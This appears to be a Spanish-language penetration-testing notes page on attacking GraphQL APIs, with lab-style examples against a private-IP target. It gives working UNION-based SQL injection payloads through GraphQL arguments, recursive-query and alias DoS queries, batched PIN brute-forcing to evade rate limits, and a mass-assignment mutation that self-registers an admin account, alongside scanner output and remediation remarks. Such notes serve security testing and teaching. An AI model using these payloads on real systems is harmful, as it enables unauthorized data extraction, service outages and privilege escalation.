Skip to content

GraphQL — Injection, DoS, Batching & Mutations

Ataques de inyección (SQL Injection a través de argumentos GraphQL)

Los argumentos de una query GraphQL terminan, en el backend, formando parte de una consulta a la base de datos — si no se usan consultas parametrizadas, son tan inyectables como cualquier parámetro tradicional de una API REST.

Enumerar las tablas de la base de datos vía UNION-based SQLi a través del argumento username:

graphql
{
  user(username: "x' UNION SELECT 1,2,GROUP_CONCAT(table_name),4,5,6 FROM information_schema.tables WHERE table_schema=database()-- -") {
    username
  }
}
json
{
  "data": {
    "user": {
      "username": "secret,user,flag,post"
    }
  }
}
  • El resultado de la inyección se filtra a través del campo username de la respuesta — un patrón similar a una inyección UNION clásica reflejada en un campo de una aplicación web tradicional (ver sqlmap.md para la metodología general de SQLi).

Enumerar columnas de una tabla específica identificada en el paso anterior:

graphql
{
  user(username: "x' UNION SELECT 1,2,GROUP_CONCAT(column_name),4,5,6 FROM information_schema.columns WHERE table_name='flag' AND table_schema=database()-- -") {
    username
  }
}
json
{
  "data": {
    "user": {
      "username": "id,flag"
    }
  }
}

Extraer los datos finales de la tabla objetivo:

graphql
{
  user(username: "x' UNION SELECT 1,2,GROUP_CONCAT(id, ',', flag),4,5,6 FROM flag-- -") {
    username
  }
}
json
{
  "data": {
    "user": {
      "username": "1,FLAG{****}"
    }
  }
}
  • Antes de intentar UNION-based, confirmar el número de columnas de la consulta original (con ORDER BY N-- - incrementando N hasta generar un error) — el mismo proceso metodológico que en SQLi tradicional, solo que el punto de inyección es un argumento GraphQL en vez de un parámetro de URL/formulario.

Denial-of-Service (DoS)

Dependiendo de la configuración del servidor GraphQL, se pueden construir consultas que generen respuestas exponencialmente grandes con un esfuerzo de escritura mínimo, consumiendo recursos desproporcionados del backend.

Consultas circulares/recursivas

Visualizando el resultado de la introspección (por ejemplo, en GraphQL Voyager — ver graphql_information_disclosure.md), se puede identificar un ciclo de relaciones entre tipos, como UserObjectpostsPostObjectauthorUserObject de vuelta:

graphql
{
  posts {
    author {
      posts {
        edges {
          node {
            author {
              username
            }
          }
        }
      }
    }
  }
}

Anidando el mismo patrón muchas veces, el tamaño de la respuesta (y el trabajo de resolución en el backend) crece exponencialmente con cada nivel adicional:

graphql
{
  posts {
    author {
      posts {
        edges {
          node {
            author {
              posts {
                edges {
                  node {
                    author {
                      posts {
                        edges {
                          node {
                            author {
                              username
                            }
                          }
                        }
                      }
                    }
                  }
                }
              }
            }
          }
        }
      }
    }
  }
}
  • Este patrón se conoce como "Circular Query DoS" — la mitigación estándar es limitar la profundidad máxima de anidación de queries permitida por el servidor (query depth limiting), algo que muchas implementaciones no configuran por defecto.

Alias Overloading

Solicitar el mismo campo cientos de veces usando alias distintos en una sola petición, forzando al backend a resolverlo repetidamente:

graphql
{
  a1: expensiveField
  a2: expensiveField
  a3: expensiveField
  ...
  a200: expensiveField
}
  • Cada alias cuenta como una resolución independiente del campo — con suficientes alias, una query "barata" individualmente puede volverse extremadamente costosa en agregado.

Field Duplication

Similar al alias overloading, pero repitiendo literalmente el mismo campo sin alias cientos de veces dentro de la misma selección — algunas implementaciones no deduplican esto antes de ejecutar la resolución.

Batching Attacks

El batching en GraphQL permite ejecutar múltiples queries independientes en una sola petición HTTP, proporcionando una lista JSON de objetos de consulta en vez de un único objeto:

http
POST /graphql HTTP/1.1
Host: 172.16.75.10
Content-Length: 86
Content-Type: application/json

[
    {
        "query":"{user(username: \"admin\") {uuid}}"
    },
    {
        "query":"{post(id: 1) {title}}"
    }
]

Implicaciones ofensivas del batching

  • Bypass de rate limiting: si el rate limiting se aplica por petición HTTP (no por query individual dentro del batch), se pueden empaquetar cientos de intentos de fuerza bruta (por ejemplo, contra un campo de autenticación o un token) en una sola petición, evadiendo el límite por completo.
  • Amplificación de DoS: combinar batching con las técnicas de la sección anterior multiplica el impacto — cientos de queries recursivas costosas en una sola petición HTTP.

Ejemplo de batch aplicado a fuerza bruta de un PIN/token corto (combinando el concepto con lo visto en broken_authentication.md):

json
[
  {"query": "{ verifyPin(pin: \"0000\") { valid } }"},
  {"query": "{ verifyPin(pin: \"0001\") { valid } }"},
  {"query": "{ verifyPin(pin: \"0002\") { valid } }"}
]

Mutations

Las mutaciones son el equivalente en GraphQL a las operaciones de escritura (POST/PUT/DELETE en REST): crean, actualizan o eliminan datos en el servidor.

Descubrir mutaciones disponibles

graphql
query {
  __schema {
    mutationType {
      name
      fields {
        name
        args {
          name
          defaultValue
          type {
            ...TypeRef
          }
        }
      }
    }
  }
}

fragment TypeRef on __Type {
  kind
  name
  ofType {
    kind
    name
    ofType {
      kind
      name
      ofType {
        kind
        name
        ofType {
          kind
          name
          ofType {
            kind
            name
            ofType {
              kind
              name
            }
          }
        }
      }
    }
  }
}
json
{
  "data": {
    "__schema": {
      "mutationType": {
        "name": "Mutation",
        "fields": [
          {
            "name": "registerUser",
            "args": [
              {
                "name": "input",
                "defaultValue": null,
                "type": {
                  "kind": "NON_NULL",
                  "name": null,
                  "ofType": {
                    "kind": "INPUT_OBJECT",
                    "name": "RegisterUserInput",
                    "ofType": null
                  }
                }
              }
            ]
          }
        ]
      }
    }
  }
}
  • Se identifica la mutación registerUser, que presumiblemente permite crear nuevos usuarios, requiriendo un objeto RegisterUserInput como entrada.

Descubrir los campos de entrada requeridos

graphql
{   
  __type(name: "RegisterUserInput") {
    name
    inputFields {
      name
      description
      defaultValue
    }
  }
}
json
{
  "data": {
    "__type": {
      "name": "RegisterUserInput",
      "inputFields": [
        { "name": "username", "description": null, "defaultValue": null },
        { "name": "password", "description": null, "defaultValue": null },
        { "name": "role", "description": null, "defaultValue": null },
        { "name": "msg", "description": null, "defaultValue": null }
      ]
    }
  }
}
  • La presencia de un campo role como parte del input de registro (no algo que el servidor asigne automáticamente) es la señal de alarma clave: sugiere que el cliente puede autoasignarse un rol arbitrario al registrarse — el patrón exacto de Mass Assignment / Privilege Escalation explotado a continuación.

Registro normal de un usuario

Preparar una contraseña hasheada (según lo que el backend espere — en este ejemplo, MD5):

c
❯ echo -n 'password' | md5sum

5f4dcc3b5aa765d61d8327deb882cf99  -
graphql
mutation {
  registerUser(input: {username: "vautia", password: "5f4dcc3b5aa765d61d8327deb882cf99", role: "user", msg: "newUser"}) {
    user {
      username
      password
      msg
      role
    }
  }
}

Explotación: escalada de privilegios vía Mass Assignment

Habiendo confirmado (vía IDOR, ver graphql_idor.md) que existe un usuario con role: "admin", y que la mutación de registro acepta role como campo controlable por el cliente, se puede registrar una cuenta propia directamente con privilegios administrativos:

graphql
mutation {
  registerUser(input: {username: "hacker", password: "5f4dcc3b5aa765d61d8327deb882cf99", role: "admin", msg: "Hacked!"}) {
    user {
      username
      role
    }
  }
}
json
{
  "data": {
    "registerUser": {
      "user": {
        "username": "hacker",
        "role": "admin"
      }
    }
  }
}
  • Impacto crítico: de no tener ninguna cuenta a tener una cuenta de administrador válida, en un solo paso, sin necesidad de fuerza bruta ni de ningún otro hallazgo previo — solo requiere que la mutación de registro no valide server-side qué valores de role puede autoasignarse un usuario nuevo (la remediación correcta es que el backend ignore/rechace el campo role en el input de registro y siempre asigne el rol por defecto de forma interna, nunca confiando en el valor enviado por el cliente).
  • Verificar el acceso resultante contra cualquier endpoint/funcionalidad administrativa identificada previamente (por ejemplo, un panel en /admin) usando las credenciales recién creadas.

Herramientas

graphql-cop

Escáner automatizado que prueba un conjunto amplio de configuraciones inseguras comunes (introspección habilitada, batching sin límite, alias overloading, CSRF vía GET, etc.) en una sola pasada:

c
❯ python3 graphql-cop/graphql-cop.py -t http://172.16.75.10/graphql

[HIGH] Alias Overloading - Alias Overloading with 100+ aliases is allowed (Denial of Service - /graphql)
[HIGH] Array-based Query Batching - Batch queries allowed with 10+ simultaneous queries (Denial of Service - /graphql)
[HIGH] Directive Overloading - Multiple duplicated directives allowed in a query (Denial of Service - /graphql)
[HIGH] Field Duplication - Queries are allowed with 500 of the same repeated field (Denial of Service - /graphql)
[LOW] Field Suggestions - Field Suggestions are Enabled (Information Leakage - /graphql)
[MEDIUM] GET Method Query Support - GraphQL queries allowed using the GET method (Possible Cross Site Request Forgery (CSRF) - /graphql)
[LOW] GraphQL IDE - GraphiQL Explorer/Playground Enabled (Information Leakage - /graphql)
[HIGH] Introspection - Introspection Query Enabled (Information Leakage - /graphql)
[MEDIUM] POST based url-encoded query (possible CSRF) - GraphQL accepts non-JSON queries over POST (Possible Cross Site Request Forgery - /graphql)
  • Repositorio: https://github.com/dolevf/graphql-cop
  • Ideal como primer paso de reconocimiento automatizado antes de profundizar manualmente en cualquiera de los hallazgos HIGH reportados.
  • El hallazgo de "GET Method Query Support" es relevante para CSRF: si GraphQL acepta queries/mutations completas vía parámetros GET, se puede potencialmente forzar una mutación desde un simple <img src="..."> en un sitio malicioso, sin necesidad siquiera de JavaScript.

InQL

Extensión de Burp Suite (disponible en la BApp Store) que agrega una pestaña dedicada para explorar el schema de GraphQL, generar automáticamente todas las queries/mutations posibles a partir de la introspección, y probarlas directamente desde la interfaz de Burp:

Notas de metodología

  • Antes de intentar SQLi manualmente, confirmar si sqlmap puede apuntarse directamente al endpoint GraphQL (sqlmap -u <url> --data='<json_query>' --method=POST con el parámetro de inyección marcado con *) — automatiza gran parte del proceso de enumeración de columnas/tablas visto en este documento.
  • Documentar los hallazgos de DoS con cautela: ejecutar la query recursiva completa contra un sistema de producción puede causar una interrupción real del servicio — confirmar el alcance/autorización explícita antes de ejecutar variantes agresivas de estas técnicas.
  • El hallazgo de Mass Assignment en mutations (rol autoasignable) suele ser el de mayor impacto de toda la superficie GraphQL — priorizar la enumeración de mutations de registro/actualización de perfil tan pronto como se confirme introspección habilitada.